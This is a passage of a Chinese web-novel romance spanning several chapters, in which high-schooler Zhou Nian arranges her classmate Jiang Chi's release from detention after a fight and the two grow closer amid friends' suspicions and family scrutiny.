一时间,包厢里的人全涌了上了。 周念接到徐明打来的电话时正在浴室吹头发,浴室水汽氤氲,镜子上糊了一层细薄水珠。她用纸巾擦出一小块镜子,再解开头上的毛巾,湿漉漉的发丝垂直落下。 她接起电话。 “喂。” “周念,阿池进派出所了。” 周念静了片刻,不紧不慢地开口。 “怎么回事?” 徐明把来龙去脉说了一遍,最后问她:“你要不要过来看看他?” 周念不置可否,只问:“他伤的严重吗?” “倒还好,就脸上有点伤。” 周念看着镜子中的自己,无意识地咬了咬唇。 “没事就好。” “你到底过来吗?” 水滴顺着发梢滴在她的颈窝,周念打了个寒颤说:“今天很晚了,我就不过来了,帮我跟他说一声,改天我去看他。” “你有没有良心啊,他为了你才进的局子。” 徐明在那头有点忍无可忍,说的话也不好听。 “算了,挂了。” 原本像朋友之间的打架都是可以私下调解的,打完了也就散了,奈何服务员没有眼力劲,见一群人围在一起以为是斗殴就直接报了警。到了警局,赵樾一口咬死是江池动的手,自己不过是正当防卫,他态度诚恳,动之以情,说得滴水不漏。警察没怎么为难他。 反观江池,阴沉着脸,怎么问都闷不出一句话来。这可急坏了一旁的徐明。 “阿池,你开个口啊。人家问你话呢。” “你倒是说句话呀。” 江池缄默不语,坐在冰冷的铁质长椅上发呆,就在徐明以为他要闷一晚上时他开口了。 “她来吗?” “她不来!” 徐明不想遮着掩着,恨不得江池马上幡然醒悟,认清周念的嘴脸。 “她说太晚了她不来,你难道还没看明白吗?她心里根本没有你。” 江池不死心地打开手机,手机屏幕干干净净,连一条垃圾短信都没有。 第35章 第35章你怎么弄到我的报警录音…… 一大早,周宏伟就在客厅接电话,周念从他身边经过,去厨房找了点面包充饥。张宁出差了,她得自己想办法填饱肚子。 周念以为这不过是通普普通通的短时寒暄,没成想,等她吃完面包出来,周宏伟还举着电话。 “这老陈,坦白说了吧,这不是我职权范围内的事儿我管不了。” “不是我不想帮你,真的是” “是好久不见了。” “吃饭可以,但得我请。你来银城我还能让你破费不?说不出不让人笑话?” “好好好,那一会儿见。” 挂了电话,周宏伟几不可查地短叹一声,周念见他有心事,随口问道:“爸,怎么啦?” “没什么。” 周宏伟去门外拿了份报纸,坐回沙发,他说:“我一个多年不见的老同学说要来银城请我帮个忙。” 周念从冰箱里拿出一盒牛奶,倒了半杯。 “什么忙?” “具体没说,只说有个学生都高三了,不知道犯了什么事儿被学校开除了。” 周宏伟大约觉得这人不争气,于是摇摇头说:“现在的孩子,没几个省心的。” 周念抿了抿唇,一口气将牛奶喝完。 “所以您中午出去吃吗?” “嗯。” 周宏伟掀开报纸一角看她。 “我得出去,你中午自己解决一下吧。” 周念:“我能跟您一起去吃吗?” 这种需要跟人周旋的饭局,周宏伟不是没带周念去过,那会儿周念还小,看不懂大人推杯换盏之间的眼神交流,也听不懂你来我往的阿谀奉承,只觉得坐那儿无趣的很,好几次都嚷嚷着要回家。之后周宏伟就没再带她去过这种场合。 周宏伟眉目舒展,笑说:“你不是向来不喜欢这种饭局吗?” 周念难得俏皮地耸了耸肩说:“最近吃得清淡,想出去吃点好的。” 周宏伟说:“那行,一会儿记得叫人。” 周念:“好。” 中午时分,周宏伟驾车来到一家城郊私人会所。会所开在半山上,一路驶来人迹罕至,山雾弥漫,林间幽静空旷,恍若与世隔绝。会所正门不太起眼,若不仔细看很容易错过。下车后,他把钥匙扔给门口的服务员。 与市中心的会所不同,这是一家独具江南特色的园林会所,假山、翠竹、青石板,每一处都彰显着水墨江南的婉约之美。周念跟着周宏伟穿过石砌的连廊,来到一处木质结构的小屋前。 里屋有两个中年男人的笑声。 开门的一瞬,一道目光骤然钉在周念脸上。她不动声色地扫过去,正撞上赵樾紧缩的瞳孔,赵樾猛然低下头,双手止不住微颤。 见周宏伟来,桌上两人纷纷起身迎上前。周宏伟的故友叫陈国明,五十不到的年纪谢了大半个顶,他是第一个开口的。 “宏伟,好久不见。” “国明啊,好久不见。” 周宏伟拉着边上的周念说:“念念,叫陈叔叔。” 周念乖巧笑道:“陈叔叔。” 陈国明笑容可掬,回道:“念念都那么大啦,越来越漂亮了。” 周宏伟看向一旁的赵立,迟疑道:“这位是” 陈国明介绍说:“哦,这是我表哥,叫赵立。” “哦。” 周宏伟给周念使了个眼色,周念会意,依旧乖巧喊人:“赵叔叔好。” 陈国明笑眯眯打量周念。 “你是不是一中的那个周念?” 周念点点头说:“是我。” “哎呦。”赵立故作夸张:“周处长好福气啊,生了那么个聪明懂事的女儿,我听说你高二的时候参加高考模拟都能拿全校第一。” 他似是想到什么,转身看到赵樾还没事人似的坐着,立即给他一脚。 “阿樾,起来叫人。” 赵樾起身瞬间已换上谄媚神色,笑得眉眼弯弯。 “周叔叔好。” 周宏伟:“你好。” 赵樾说:“我就说周念怎么能考得那么好呢,原来都是您在背后教导啊。” 好话谁也不嫌多,周宏伟乐不可支,看他的眼神多出几分赞许。 “你们认识?” 周念抢在赵樾开口前说:“认识,他是琳琳的男朋友。” “哦,是吗?”周宏伟又重新打量起他,眼里的赞许暗淡下来。“学生还是要以学业为主啊。” 赵樾心头一沉,谄笑顿时僵化。 寒暄完,陈国明招呼大家入座,周念挨着周宏伟坐下,对面正好是赵樾。陈国明没有开门见山切入主题,只说这家会所的菜色不错,厨子都是从国宾馆挖来的。 周宏伟来过几次,这里的菜色对他胃口,尤其是那道东坡肉,甜而不腻,瘦而不柴。他指着周念面前那盅说:“念念,尝尝。” 周念在众人瞩目下尝了一口,之后对上陈国明期许的目光说:“好吃。” “好吃就吃多点。” 陈国明嗔怪道:“宏伟啊,读书固然重要,但身体才是本钱,你看把孩子瘦的。” “那你真错怪我了。”周宏伟委屈道:“我是巴不得她多吃点,但现在的孩子主意大着呢,哪能听你的。” 陈国明:“哈哈哈哈,也是。” “现在条件好啊,你看我们大学那会儿吃的都是些什么。” 老友久别重逢,免不了要忆往昔的,话题很快从周念这儿转开,陈国明感慨道:“那会儿我 从家里拿几个馒头,我俩都得分着吃。” 他这感情牌打得猝不及防,周宏伟有点招架不住。当时两人在北城上大学。陈国明是北城本地人,条件再差基本的温饱都能满足,但周宏伟就没那么幸运,他是外地来的,有限的生活费根本不足以应对首都高涨的物价。最难熬的日子里,全靠陈国明的接济才勉强撑到了毕业。 他在提醒他,这份人情是时候该还了。 “是啊,我最难的时候都是你在帮我。” 说着,周宏伟就准备起身斟酒,陈国明连忙抢过酒瓶说。 “你说你,多久的事儿了,怎么能这么见外呢?” 周宏伟紧握瓶颈不撒手。 “这怎么能是小事,如果没有你陈国明也就没有现在的周宏伟。” 陈国明拖住瓶身。 “宏伟,你言重了。” 周念看着对方拉扯,本能地牵动唇角。果然,她不喜欢这种场合是有原因的,因为他们习惯于把人心和欲望放在桌面上,供你探视,供你观察,然后披上虚伪的面皮告诉你,这不是他赤裸裸地索取,这是你心甘情愿地供奉。 “两位,听我说。”赵立走过来,自动矮身半截,他也不争,只把桌面上那瓶没开的酒拿过来说。 “今儿个我做东,我来倒才是。” 陈国明这才不争,放开手拉着周宏伟坐下。 “那就让我表哥来吧。” 赵立恭恭敬敬地给周宏伟斟满酒,又弓着身子回到座位。 “周处长,我敬您一杯。” 周宏伟举杯道:“别叫我周处长,都是自己人,你就跟国明一样叫我宏伟就行。” 赵立谄笑:“那哪儿能啊,您是处长。” 周宏伟也笑:“你这话可不兴说啊,要让外头人听到可要大做文章了。” 赵立:“是是是,您说的是。” 桌上基本都是周宏伟和陈国明在聊,赵立也会偶尔附和几句。话题渐渐扯到近些年的教育问题上,陈国明和赵立心照不宣地对了眼,才开口说。 “宏伟啊,我这次来是有事儿想请你帮忙。” “是电话里那件事吗?” “就是这件事。” 周宏伟转而看向赵樾。 “是小伙子你?” 被点到名,赵樾腰背登时一挺,态度相当积极。 “是我周叔叔。还请您帮帮忙,帮我给其他学校联系联系。只要有学校收我,哪儿都没问题。” 见状,赵立也插了一嘴。 “周处长,我们阿樾学习非常刻苦,成绩也不错,年年都在学校前十名,以他的能力考个重点大学不是问题,还请您帮帮忙。” “那么好的成绩” 周宏伟略有疑惑:“怎么会被学校开除呢?” 没等赵樾回答,周念自动接过话茬:“这个我知道。” 周宏伟:“那你说说,什么情况。” 闻言,赵樾心中咯噔一声,他紧张地注视周念,但周念根本没往他这头瞥。 周念:“一个误会。” “哦?”周宏伟来了兴致:“什么误会,处分这么严重。” 周念故作思忖,顿了秒说:“我先去上个厕所,回来再说。” 周念前脚刚走,赵樾后脚就跟了出来,两人一前一后沉默地走着。周念在一处凉亭停下,凉亭建在人工湖上,湖面上翻腾着人造雾,包厢所在的木质小楼就在对岸,被浓雾包围着半隐半现。 周念回身去看赵樾:“你跟着我干嘛?” 赵樾在她回身的前一秒收敛起脸上的愠色,他想尝试挤出个笑,发现根本做不到,他恨周念,恨她小题大做,不留余地。 “周念。”他说:“你能不能帮我向你爸说说好话。” “能不能别再针对我了。” “放过我吧,周念。” 他求人的样子让周念想到当初校外讨食的流浪狗,眉头深蹙,眼尾耷拉,唇线要多直有多直,一副可怜兮兮的模样。她记得那狗后来咬了投喂它的女孩之后就被城管抓了。 周念别过眼看向他处。 “房又不是我让你开的,学也不是我让你退的,你能不能被学校接纳也不是我说的算。怎么能说是我针对你呢?” 眼下再去争辩到底是谁害了自己已经没有任何意义,赵樾抱有一丝不切实际的幻想,幻想周念能够可怜可怜自己。 “周念,我求求你了,你帮帮我吧。” 周念:“我能帮你什么?” 赵樾:“帮我求求你爸,你爸堂堂一个处长,找个学校塞个人应该不是什么难事。” 周念抿着唇,不置可否。 她没拒绝,赵樾仿佛看到了希望,眸光一亮,上前了几步兴奋道:“你可以帮我的对吗?只要你能帮我,你提什么要求都可以。” 周念无动于衷。 他又说:“要不我给你跪下来?嗯?你不是讨厌我吗?要不我去给琳琳跪一个?我去给她道歉。总之你要我怎么样都行。” 周念抱臂安静地站了会儿,好半晌才不紧不慢地开口问:“你打江池了?” 不知道是没听清还是不敢认,赵樾下意识‘嗯?’了声。 周念:“我在问你打江池了?” 赵樾又摆出那副可怜的无辜样。 “是他先打的我,我哪里是他的对手啊。” 周念:“那你还手了吗?” 赵樾一噎,没声了。 周念扯了扯嘴角,笑意不达眼底:“他现在还在拘留所?” 角色转换真快,明明刚刚还在苦苦哀求,现在,赵樾却一点声都不敢出了。 “你把他弄出来。” 赵樾哭笑不得,终于开口说:“我又不是警察,我怎么把他弄出来啊?” “你怎么弄到我的报警录音的,你就怎么把他弄出来。” “” 周念作势要走,走之前又想到什么。 “还有他的档案里不能有污点。” 第36章 第36章你又怎么会心疼阿池 江池提着一个帆布包站在拘留所门口,里面都是他在拘留所里的日常用品。他原地站了会儿,习惯性地去摸裤袋,后知后觉地想起身上没有烟,于是他穿过马路走到对面小卖部前。 “来包烟。” 老板从后门转出来,端了眼面前的年轻人,视线一偏看向他背后的拘留所,猜测他是犯了事儿刚出来的。 “要哪个?” “随便。” 老板眉毛一挑,从玻璃柜里挑了包软利群。 江池从包里摸出一张红的放在台面上。 “再来个打火机。” 老板收钱找零,江池等得不耐烦,单手敲打玻璃柜。 “先把打火机给我。” 老板把打火机扔在台面上,笑了声:“憋太久了吧。” 江池唇角一勾算是回应。他把烟三两下拆开,快速抽出一根塞嘴上,按打火机的手稍有颤动。 吸完一口,整个人仿佛都平静下来。 他把多余的烟打火机连同零钱一起塞进裤袋,然后漫不经心地走到马路牙子边。他看着来来往往的车辆短暂愣神,缓过神后摸出手机。 右上角的电池跳红,电量只剩下百分之五。信息和未接都很多,他翻了翻,没有周念的。他看着空白的对话框沉默了会儿,最后输入文字。 ——你在哪儿?我想见你。 发完,锁屏,继续抽烟。 一分钟后,手机震了下。 ——你家门口,你什么时候回来。 江池心下默念着这段话,眉心渐渐舒展,他掐灭手里的烟立刻回了消息。 ——等我,马上。 ** 一早,周念就收到了赵樾的短信。 ——江池今天能出来,周处长那边能帮我再说说吗? 其实,赵樾的事情哪能是她说了算的。即便她什么都不做,依周宏伟的性子也会顾及老同学的面子,帮这个忙。 她没再理会短信,试图沉下心来看会儿书。看了不到半个小时,她把书合上,长长地舒了口 气。出门时,特意交代了自己的行程。 “妈,我去图书馆了。” “早点回来。” “好。” 起初她的目的地的确是图书馆,但拐过两条街口时,握着公交卡的手突然收紧,鬼使神差地扬手拦了辆出租车,最终在江池家门前停下。 她定定地看着这桩楼,心想,快了,很快了,等事情结束就不用再周旋于此了。 也就在这时,江池信息来了。 ——你在哪儿?我想见你。 江池看到周念时,她正坐在马路牙子上看书,右手微微举在额前遮挡光线,眉头拧紧,唇线绷直,严肃又认真。 此刻,他莫名有些紧张,他无意识得揪起衣领闻了闻,是拘留室染来的湿潮气混着淡淡的烟味,不算好闻。他又低头看了看自己的穿着,里头的体恤已经没那么白了,左侧膝盖处还留着那个被烟头灼出的焦黄破洞。 真狼狈。 他有点后悔刚才没在出租车上,利用后视镜好好收拾收拾,他抬手撸了把头发,怀疑自己看起来像个蓬头垢面的傻子。 直到书页上的光线突然暗了下去,周念才意识到有人靠近。她把书合上,迎着江池直白的目光缓缓站起身。 她弯起唇笑了笑:“回来了?” 江池不言不语,同她一样,抿唇笑着,他忽然向前一步,鞋子几乎抵住她的白鞋。然后将人整个拥在怀里。 周念身形一僵,本能地挣扎了一下。耳边响起他卑微而颤抖的声音:“别动,让我抱抱。” “就一下。” 他这样一说,周念就真的没有再动。 声音再次从耳畔处传来:“谢谢。” 周念:“谢什么?” 江池极短的哼笑了声,没挑明说,若不是周念想办法把他提前弄出来,她又怎么会提前出现在他家门口。 也不知过了多久,是周念先开的口。 “你是不是说,只抱一下。” 江池闻言先是轻叹,而后又恢复到那股子带着点幽怨的浑不吝口吻。 “周学霸真够计较的,多抱一分钟都不行。” ** 两人一同进屋时,徐明举着锅铲、端着泡面碗从厨房探出身,他看到江池时激动得眸光都亮了。 “你怎么提早回来了,不是说要七天吗。” 江池把行李包往沙发上一扔,笑说:“怎么?不能盼我点好啊。” 徐明咧着嘴巴还没笑够就看到边上还杵着个周念,于是脸色登时没那么好看了,阴阳怪气得来了句。 “呦,周老大真赶巧,阿池进去的时候没见你去派出所张望一眼,出来的时候倒是来得积极。要不说读书好的人会来事儿呢。” 江池皱了下眉,让他赶紧闭嘴。 “少胡说八道,我饿了,给我煮面去。” 徐明走得不情不愿,想起那晚给周念打电话,她事不关己的语气就来气。擦肩而过时从牙缝里挤出句‘白眼狼’。 “说什么呢你?” 江池作势要打他,转头给周念解释。 “他就这样,别管他。” 周念垂下眼帘,没作声。她不跟徐明计较,毕竟整件事是因她而起,江池为她跟赵樾动手才吃了七天拘留。说到底是自己欠他的。 抵了这笔债,他们之间就互不相欠了。 江池在电视柜前闹腾出一块遥控器,扔沙发上。 他对周念说:“看会儿电视,我上去洗个澡。” 周念瞥了眼鱼缸里孤零零的小鱼和沙发上窝着的小猫,视线最终落在玄关处,她摇了摇头说:“我得走了,要去图书馆。” “再等等。” 江池猜测是她不愿意和徐明独处,于是自顾自进厨房,用脚轻轻踹了一下徐明。 当时,徐明正用平底锅煎着烤肠,冷不丁被人一踹,怒从中来。 “你tm有病啊?” 江池深吸气,拍拍徐明的肩膀说。 “你刚才对周念什么态度?你不是说挺待见她的吗?” 徐明不看他,在锅里打了两个鸡蛋,铲子重重戳破溏心蛋,蛋黄像他陡然沉下去的心。 “我当初眼瞎,没想到这人那么不地道,你为了她打架,她没来看你也就算了,一句关心的话都没有,你说气不气。” 他顿了顿又说:“虽然我现在看阿樾也不是什么好东西,但阿樾的事,她至于这么赶尽杀绝吗?你是不知道她爸是教育局的处长,教导处主任也就是姜小小的舅舅被处分是她写的举报信,为的就是怕教导处主任会保下姜小小。” “你就说说,多大点事儿,至于断了他们的后路吗?” 末了又加了句。 “你不觉得这样的人很可怕吗?” 江池不想讨论这桩事,他自觉不是周念,没办法感同身受的带入她的处境,毕竟叶琳是她为数不多的朋友里最交好的一个。 他只说:“你知道我怎么出来的?” 徐明还没开口,江池接着说:“你猜她是怎么知道我今天会被放出来的?” 徐明迟疑道:“你的意思是” 江池点了点头肯定道。 “应该是她想的办法。” 徐明翻了个白眼,理所当然道:“你别忘了,你是因为谁进去的!她想办法也好,找关系也好,保你出来是天经地义。只能说她还有点良心,并不能说明她就不狠。” 江池拍拍他的背,态度放软。 “好了,看在我的面子上,能不能别为难她。” “不然她真走了。” 徐明无语,连‘啧’两声说,最后无奈道。 “阿池,你完了!” 为了留下周念,江池指着沙发里的小恩说。 “这货三天没吃东西了,猫粮在柜子里,里面还有点罐头,它爱吃。我洗个澡,马上下来,它就交给你了。” 说完,提起背包准备上楼。 “一会儿你跟阿明先吃,他要敢欺负你,我弄死他。” 周念没来得及拒绝,这人已经上楼拐进死角。没法,她蹲在柜子前,按照包装袋上的指示取了点猫粮尝试着给小恩进食。可这货像极了他的主人,托着腮陷在沙发软垫里,一副懒散样,连带着看猫粮都是轻轻一扫,不甚在意。 周念:“” 徐明把面端出来,瞥到这头,把碗往餐桌重重一搁。 “它刚吃过。阿池进去的时候交代了,每天都得喂,还有那鱼。”徐明指了指鱼缸说:“也不知道哪根筋抽了,学人家养动物。” 他又从厨房里端出来一碟煎蛋和火腿肠。 “过来吃饭吧。” 周念上桌,徐明把料最多的那碗推给周念,面堆得小山高的那碗推向对面空位,那是留给江池的。 “不等他了,吃吧。” 徐明最终还是压制了自己的脾气,他了解江池要是趁他不在为难周念,真能把自己吃了。 周念原本不饿,嗅到泡面的香味突然就开胃来,她也不客气,端着碗到了声谢。 “谢谢。” 徐明从口袋里摸了根烟,没点,问周念。 “介意吗?” 周念摇头。 一口烟下去,愁肠百结,还是忍不住问了那句话。 “周念,我想你给句实话,赵樾的事真是你做的吗?” 她觉得面有点多,于是加了一筷子面到江池碗里,顺便又夹了一下配菜进去,不紧不慢地开口道。 “你们不是都知道吗?” 徐明委实想不明白,猛吸一口烟后问。 “为什么啊,你为什么要这么做?他也不是做什么伤天害理的事情。男欢女爱,你情我愿,即便是欺骗了叶琳,可叶琳不也没损失吗?若你真的觉得赵樾王八蛋,做了对不起叶琳的事情,那就让他道歉,让他赔罪,而不是用极端的方式让他生不如死。” 周念用纸巾慢条斯理擦拭筷尖,默了秒,淡淡地说道:“我也没做什么,他选择欺骗,我选择揭露。他选择伤害叶琳,而我选择保护。他有他的想法,我有我的立场。” 她偏头看着徐明的眼睛,一字一句的问:“我有什么错吗?” 见她这般理直气壮,给徐明气笑了。 “周念,大家朋友一场,这样做你不觉得太难 看了吗。而且你为阿池考虑过吗?你对赵樾赶尽杀绝,我们这群朋友怎么看你,怎么看阿池。说他恋爱脑要女人不要兄弟?他以后怎么在我们这群人里混,大家都会看扁他的。” “你难道一点都不心疼?” 说到这,他似乎想起什么,冷不丁地一笑。 “也是,你又怎么会心疼阿池。” 第37章 第37章(修)来得及,只要你肯…… 周念吃两口就饱了,她搁下筷子说:“我先走了。” “别!”徐明扒拉了几口,捧着碗仰头把汤喝完。 “你要走了,阿池肯定以为是我赶走的。” 他把碗收拾好端进厨房:“要走也是我先走。” 没有商量的余地,徐明三两下洗完碗筷,甩着未擦干的手直接摔门离开。 这时,楼上传来江池的呼喊。 “阿明?上来。” 声音闷闷地从浴室传来。 周念收拾完桌子回他。 “他刚走。” 楼上忽地噤声,下一秒开腔时语气里带着微不可查且不怀好意的笑。 “哦,那周老大要不要上来帮我个忙?” 周念顺着楼梯走向二楼,二楼房间房门紧闭,只有走廊尽头的磨砂玻璃门隙开一条逢,透出氤氲水汽。 声音是从这里传出的。 “帮我拿件衣服。” 周念没有靠近,在楼梯口驻足。 “衣服在哪儿?” 门缝突然变宽,从原来的缝隙扩大至半尺宽度,从这里可以清晰地看到江池微歪着头,好整以暇地打量她。 “站那么远干什么?我能把你吃了?” 周念才不惯他,眉毛一挑,学他的口吻回他:“那谁知道呢?” 大约是惊讶于她会说这话,江池看着她,眉眼里全是笑意。 “那劳烦您帮我去我卧室拿件衣服?” “行吧。” 语气不情不愿,身体倒是诚实地迈开了步子。 江池湿漉漉的手指虚点走廊左侧房门。 “衣柜打开,第三个抽屉,随便拿。” 江池的房间不大,看着不像主卧,除了基本的桌椅柜,没有多余摆设。周念匆匆扫视房间,目光被桌角的照片攫住,照片是一个女孩的背影,她临江而站,晚风肆意拨乱她的头发。无需辨认,这人分明就是自己。她定定地看了几秒,就在思绪近乎恍惚时,忽然把相框往桌上一扣。 她拿着衣服停在浴室门口,轻轻叩门。 “衣服。” 门内没了动静。 “江池?” 好半晌,门缝里突然探出江池滴着水的小臂,等她把衣服递过去时,他的动作又停滞了。 “怎么” 话未完,眼前的手忽然从衣服上松开转而抓紧周念的手腕,眼看着江池的手臂骤然收紧,下一秒周念就被带进了浴室。 花洒没关,蒸汽随着水柱不断涌出。 他手掌压住门框,手臂横在她的耳侧,将她整个笼在身前。浴室玻璃的门沁着凉意,水珠顺着她后颈滑进衣领。 周念无意识地咽了口气,目光随水珠从他脸颊滑落至脚下。纵使不用眼睛看,她也能感受到周遭微妙的气息,和江池极度控制却也不均匀的气息。 江池滚了滚喉结,轻轻地说:“看着我。” 周念抿了抿唇,无意识地拉扯着衣角,她缓缓抬眸。 他的头发,眼睛,唇角都渗着细细密密的水珠,她不得不承认,这的确是张蛊惑人心的脸。 就在他欺身靠近时,她突然用手抵住他的胸口。 “江池。” “嗯?” “你是不是答应过我?” 江池顷刻定住站稳,慢慢收回他握在她手腕的手。周念几不可察地吁了口气,快速把衣服搁在干燥的池台上转身就要走。 “小念。” 江池叫住她,静默数秒后把门敞开。 “对不起,是我太冲动了。” 周念没说什么,转而看着衣服。 “把衣服穿上,别着凉了。” “等等。” 她作势要走,江池的语气又软下来。 “能不走吗?” 周念:“我不走。” 等江池收拾完出来,周念已经不在外头了,他心一紧赶忙下楼,发现她正在楼下逗猫玩,才松了口气,开始气定神闲地坐下来吃面。 “你以后什么打算?” 周念眼睛不带这边瞟,但话是说给他听的。 话题转得太快,江池一时没明白她的意思。 “什么打算?” 周念把小恩抱在怀里,揉了揉他的肚子。 “打算考什么大学?” 江池愣怔数秒,低头吃面,他没想过。 其实他成绩不算太差,特别是前两年还有点基础,认真读考个大学不成问题,只是上了高三后身边这群人心思越来越不在读书上,加上他们这帮人家庭条件都不错,往后不是出国镀金,就是靠父母关系上个不错的省城大学。毕业后要么子承父业做生意,要么被安排个闲差,朝九晚五过一辈子。 在此之前,江池的姑姑也提及过这件事,只要他好好配合不惹事,顺顺利利读完高中,若考得过得去,就给他托关系在省城上个省重点,往后接手他父亲留下的产业时也不至于被底下人糊弄。 那时江池挺不屑的,但自从认识周念以后,他偶尔也会在床上辗转难眠思考这个问题。周念是谁啊,整个银城最好的学校里头最出色的那一个,她以后的路必然是宽阔的,不会拘泥于这一方天地。 那自己呢? 真的要上个三流大学或者连大学都不上,成为在世俗眼里不务正业的混小子吗? 如果有幸,真的可以走到她父母面前,往后又该怎么介绍自己? 这一认知像把钝刀,每每想起就会慢慢磨掉他的少年傲气。 这个问题把他问沉默了。 周念不是傻子,明白他的意思。 其实最初的设想了,她无需干涉他的自由,也不可能参与他的未来。但就是莫名的,仿佛有股她难以抗拒的力量迫使她这样去做。 她说:“高一、高二的书还在吗?” 江池心虚地挑了挑眉。 “或许在吧。” 周念:“那是在还是不在?” 江池:“回头我去找找。” “其实” 江池顿了顿,把碗收进厨房,再次开口时,声音是从厨房传来的,还伴着水流声。 “现在开始,已经来不及了。” 周念不知何时跟了进来。 “来得及,只要你肯,什么时候都来得及的。” ** 周念和张宁是前后脚到家的。 赶在太阳下山前。 周念在门口换鞋,张宁意味颇深地来了句。 “那么早就回来了,平常不都要看到晚上八九点吗?” “嗯。” 周念不动声色地换好鞋,把放书的袋子搁在沙发,转头去厨房洗手。 “要看的书提前看完了,想着没事就先回来了。” “是吗?” 张宁还在门口,若有所思地把鞋都整理好。 “今天你们班的陈墨也在图书馆,我刚刚碰到她了。” 周念把洗手液搓出一个气泡,看着它崩开才不紧不慢地回复说。 “陈墨吗?我跟她不太熟。” “不熟吗?我怎么记得她是你们班的副班长。按道理班委之间应该都挺熟悉的,不至于在一个图书馆招呼都不打吧。” 周念站在原地,胸腺起伏一阵缓缓说道。 “我没看到她。再说了,图书馆那么大,没碰到也正常。” “也是。” 拖鞋与地板的摩擦声渐近,张宁进厨房时,没了方才质疑的神色,眉目都舒展着。 “刚才我问陈墨有没有碰到你,她也说没有,没那么巧。你以后啊多跟陈墨这样的好学生在一起玩。别整天跟琳琳瞎混,我可听说了,她小小年纪学人谈恋爱了,还跟人在路上牵手呢。这事儿我都不敢告诉她妈。” 她开始耳提面命道。 “你可千万别学她!” ** 夜半。 徐明突然接到江池的微信。 ——你那儿有高一高二的课本吗? 徐明想当然回。 ——怎么啦?打算开个废品回收站? ——少扯,就说有没有? 徐明先是一惊,后知后觉道。 ——你别告诉我你是要看书吧?江小爷?您学人家好好学习,天天向上呢? 那头大概率是被噎住了,瞬间没话了。 徐明觉得好笑,直接杀过去一个群聊天,还拉上了宋佳月。 三人接通,他才开始说话。 徐明:“那么晚了您说您要干嘛?小的听不明白。” 宋佳月听得云里雾里还没开口,江池说话了。 ——滚蛋,有就有,没就没,哪儿多废话。 徐明直乐,合不拢嘴的那种。 ——佳月,阿池打算好好读书了。你哪儿有没有高一高二的课本? 宋佳月听着也颇有种变天了的错觉,不可置信地重复了遍。 ——什么?高一高二的课本?阿池你要? 江池懒得理会两人嘲弄,‘嗯’了声,又没下文了。 宋佳月似乎想到什么,试探到。 ——怎么突然想起看书了。 ——是因为 ——周念吗? ——还能有谁? 笑归笑,徐明从床上蹦跶起来,点了根烟,回归正题。 “阿池啊,你别怪我话多,我就是想提醒你。周念跟我们本来也不是一个世界的,我也不清楚你俩怎么搅和在一起的。我知道你喜欢她,一门心思扑在她身上。但种种迹象看,我还是觉得她心思不简单,我是你哥们,见不得你受罪,你要多留些心眼。” “到时候吃了大亏,别怪兄弟没提醒你。” 江池想也没想说:“她要有这个心思来琢磨我,我也认了。” 说那么多,这人没一句听进去的,徐明恼火回了个‘神经病’就挂了。 第38章 第38章哪儿敢?万一某人要跟我…… 天气转凉,银城入冬。 周念一如既往的难约,偶尔江池还会抱怨几句,抱怨多了,她会说‘要么我们就算了’。 算了?什么叫算了?江池被她磨得没脾气。 夏日大排档人声鼎沸、热火朝天,到了冬天却门庭冷落,萧瑟不少。江池一行人围坐在桌边喝酒吃饭,见对方一直低头摆弄手机,徐明总憋不住要调侃他几句。 “上进哥?整天跟我们混迹一起,难道你俩又掰了?” 江池斜他一眼,裹挟着警告意味。 “你很闲吗?” 徐明塞了口菜,贱嗖嗖地学他口气。 “你很闲吗?” 江池被他逗笑,微微抬手作势要打他,到底也是没打下去,轻轻掠过他的后背,好叫他闭嘴。 “差不多得了。” 徐明看穿他被冷落,就不打趣他了,心底对周念的抵触中竟悄然生出一丝钦佩。这人到底使了什么招数,把江池制得服服帖帖,这般晾着他,他都心甘情愿的受着。改明儿我恋爱了高低得跟她请教一下。 正想着,他从口袋里摸出两张电影票。 “虽然我对她有意见,但总不能看你受相思之苦。别说哥们不想着你,拿去看电影。” 江池靠着椅背,眼神往票上瞥了眼。 “这招又不是没使过,没用。” “试试呗,万一能成呢?” 徐明把票塞进江池口袋,凑近他耳根说。 “年度爱情大片,听说尺度很大。” 江池闷笑道:“多大?” “看了不就知道了?” 徐明摸了根烟,把烟盒递过去。 “来一根。” 江池摆摆手:“不抽。” 徐明莫名失落,有种自家狗对别人点头哈腰摇尾巴的感觉,他牙痒痒地说:“呵,周念真行!” 喝酒的间隙,江池给周念发了个微信。 ——看电影吗? 十几分钟后,周念回了信息。 ——我得看书。 ——周末呢? ——我也得看书。 ‘我得看书’这四个字算老演员了,任何事情,这四个字先来挡着。 江池调整坐姿,回复。 ——哦,那看来只能跟别人去了。 当时周念正洗漱完,正在镜子面前吹头发,她面无表情,默默打字。 ——看得愉快。 看得愉快? 江池把手机往桌上一甩,差点气背过去。 ** 转眼又是周末,周念纠结在家里看书还是去图书馆。再三权衡还是决定留在家里,最近张宁的疑心病越来越重,为避免不必要的周旋,在家比较保险。 看着日历上渐渐逼近的元旦标记,她仰靠在椅背上深深吸气。 她想,这一切的一切的都快结束了。 不想让思绪困死在那些不重要的事和不重要的人上。她干脆从书包里抽出一张空白试卷,正要动笔就听到楼梯上‘咚咚咚’的脚踏声,声音很实,很欢腾,不属于张宁和周宏伟中的任意一个。 门被打开,探出叶琳半个脑袋。 “小念。” 周念冲着她笑,意外于她竟能如此顺利地达到自己的房间,果然还没等她问,叶琳就给了答案。 “你家大门敞着呢,我看张姨不在。” 说完过来拽她的胳膊。 “听说最近有一本大火的电影,相当好看,陪我看嘛。” 周念提起空白卷子的一角说。 “我还有任务没完成。” 说着往楼梯口使了个眼色,示意她张宁在家。 叶琳一拍胸脯大有‘交给我吧’的架势。 “一会儿我妈就会找你妈逛街,等她们出发,我们再趁这个空档出去。最后,赶在他们回家之前杀回来。” 她偷摸摸地往楼道口瞄了眼,确认没人,又底气十足起来。 “据我所知,我妈会邀请你妈吃晚饭,所以我们还能吃个小火锅。” “你看怎么样?” 周念摇头,她很少改变已经决定的计划,何况她也没心思出门,否决掉叶琳的提议后,她低头动笔。 “我就不去了,你问问妙妙吧。” 话音一落,一滴豆大的眼泪‘啪嗒’砸在周念雪白的卷子上。 “” 看她哭得梨花带雨,周念一时头疼。 “又怎么啦?” “你的琳琳都失恋了……我不要你哄,也不要你买礼物,不过是想让你陪我看场电影散散心罢了。我特意掐着你妈妈出门的时间来找你,可你倒好,眼皮都不抬一下,只顾埋头写作业——难道那些题比我还要紧?在你心里,我就这么不值一提吗?” 这档子事过不去了? 周念唉声轻叹,为难道:“你知道我妈的脾气。” “我知道。”叶琳眼看还有转还的余地,发誓保证:“你放心,要是被你妈看到,我跪着求她原谅。” “” 一小时后。 